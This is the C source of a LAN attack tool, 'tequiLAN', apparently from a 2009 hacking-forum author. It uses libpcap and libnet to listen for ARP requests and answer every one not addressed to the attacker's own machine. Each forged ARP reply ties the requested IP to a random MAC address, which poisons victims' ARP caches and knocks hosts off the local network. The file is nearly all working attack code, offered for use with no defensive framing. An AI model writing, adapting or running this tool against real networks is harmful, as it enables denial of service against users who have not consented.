/*	tequiLAN.c,v 0.1_5 2009/03/18 11:16:48	*/
/*
 * Copyright (C) 2009 Anon@elhacker.net.
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the project nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include<libnet.h>
#include<stdlib.h>
#include<stdio.h>
#include<pcap.h>
#include"tequiLAN.h"

libnet_t *l;
pcap_t *p;
libnet_ptag_t t=0,arp_lnet = 0;
u_int8_t *packet_lnet;
u_int32_t packet_slnet,myIP;
struct libnet_ether_addr *myMAC;

char *errbuf_lnet;
char *errbuf_pcap;
char *dev;

unsigned char *macRandom;

void tequiLAN(u_char *useless, const struct pcap_pkthdr* pkthdr,const u_char* packet);
void printTrama(u_char* paquete,int len);
char* getMacRandom();

int main(int argc,char **argv)	{
	char filter_exp[] = "arp";
	struct bpf_program fp;
	bpf_u_int32 mask;
	bpf_u_int32 net;
	const u_char *packet;
	int interval = 0, timed_out;

	errbuf_pcap = calloc(PCAP_ERRBUF_SIZE,sizeof(char));
	errbuf_lnet = calloc(LIBNET_ERRBUF_SIZE,sizeof(char));
	dev = pcap_lookupdev(errbuf_pcap);
	if(dev==NULL)	{
		fprintf(stderr,"pcap_lookupdev(): %s\n",errbuf_pcap);
		exit(1);
	}
	printf("Device: %s\n",dev);
	if(pcap_lookupnet(dev, &net, &mask, errbuf_pcap) == -1) {
		fprintf(stderr, "pcap_lookupnet(\"%s\",...)\n", dev);
		exit(1);
	}
	p = pcap_open_live(dev, BUFSIZ, 1, 1, errbuf_pcap);
	if (p == NULL) {
		fprintf(stderr, "pcap_open_live(\"%s\",...): %s\n", dev, errbuf_pcap);
		exit(1);
	}

        l = libnet_init(LIBNET_LINK_ADV,dev,errbuf_lnet);
        if (l == NULL)  {
                fprintf(stderr, "libnet_init(): %s\n",errbuf_lnet);
                exit(EXIT_FAILURE);
        }

	if(pcap_compile(p, &fp, filter_exp, 0, net) == -1) {
		fprintf(stderr, "pcap_compile(...,\"%s\",...): %s\n", filter_exp, pcap_geterr(p));
		exit(1);
	}
	if(pcap_setfilter(p, &fp) == -1) {
		fprintf(stderr, "pcap_setfilter(...,\"%s\"): %s\n", filter_exp, pcap_geterr(p));
		exit(1);
	}
	myMAC = libnet_get_hwaddr(l);
	myIP = libnet_get_ipaddr4(l);
	switch(pcap_loop(p,-1,tequiLAN,NULL))	{
		default:
			libnet_destroy(l);
			pcap_close(p);
		break;
	}
	return 0;
}

void tequiLAN(u_char *useless, const struct pcap_pkthdr* pkthdr,const u_char* packet)	{
	struct etherdr *ether = (struct etherdr*)packet;
	struct arphdr *arp = (struct arphdr*) (packet + sizeof(struct etherdr));
	struct arphdrvar *arpvar = (struct arphdrvar*)(packet + sizeof(struct etherdr) +sizeof(struct arphdr));
	if(memcmp(&myIP,arpvar->ar_tpa,4) != 0)	{
		macRandom = (char*) getMacRandom();
		if( ntohs(arp->ar_op) == 1 )	{
			arp_lnet = libnet_build_arp(
				ARPHRD_ETHER,
				ETHERTYPE_IP,
				arp->ar_hln,
				arp->ar_pln,
				ARPOP_REPLY,
				macRandom, 
				(u_int8_t *)&arpvar->ar_tpa,
				ether->ether_shost,
				(u_int8_t *)&arpvar->ar_spa,
				NULL,
				0,
				l,
				arp_lnet);
			if(arp_lnet==-1)	{
				fprintf(stderr,"libnet_build_arp(): %s\n",libnet_geterror(l));
				pcap_breakloop(p);
			}
			t = libnet_build_ethernet(
				ether->ether_shost,
		                nullMAC,
				ETHERTYPE_ARP,
				NULL,
				0,
				l,t);
			if(t==-1)	{
				fprintf(stderr,"libnet_build_ethernet(): %s\n",libnet_geterror(l));
				pcap_breakloop(p);
			}
			if(libnet_adv_cull_packet(l,&packet_lnet,&packet_slnet)==-1)	{
				fprintf(stderr,"libnet_adv_cull_packet(): %s",libnet_geterror(l));
			}
			else	{
				libnet_adv_free_packet(l,packet_lnet);
			}
			if(libnet_write(l)== -1)    {
	                        fprintf(stderr,"libnet_write(): %s\n",libnet_geterror(l));
				pcap_breakloop(p);
	                }
			fprintf(stdout,"[+] Send TEQUILA to %d.%d.%d.%d from ",arpvar->ar_spa[0],arpvar->ar_spa[1],arpvar->ar_spa[2],arpvar->ar_spa[3]);
			fprintf(stdout,"%d.%d.%d.%d with MAC ",arpvar->ar_tpa[0],arpvar->ar_tpa[1],arpvar->ar_tpa[2],arpvar->ar_tpa[3]);
			printTrama(macRandom,6);
			fprintf(stdout,"\n");
		}
	}
}

void printTrama(u_char* packet,int len)	{
	register int i = 0;
	while(i< len)	{
		fprintf(stdout,"%.2x",packet[i++]);
	}
}

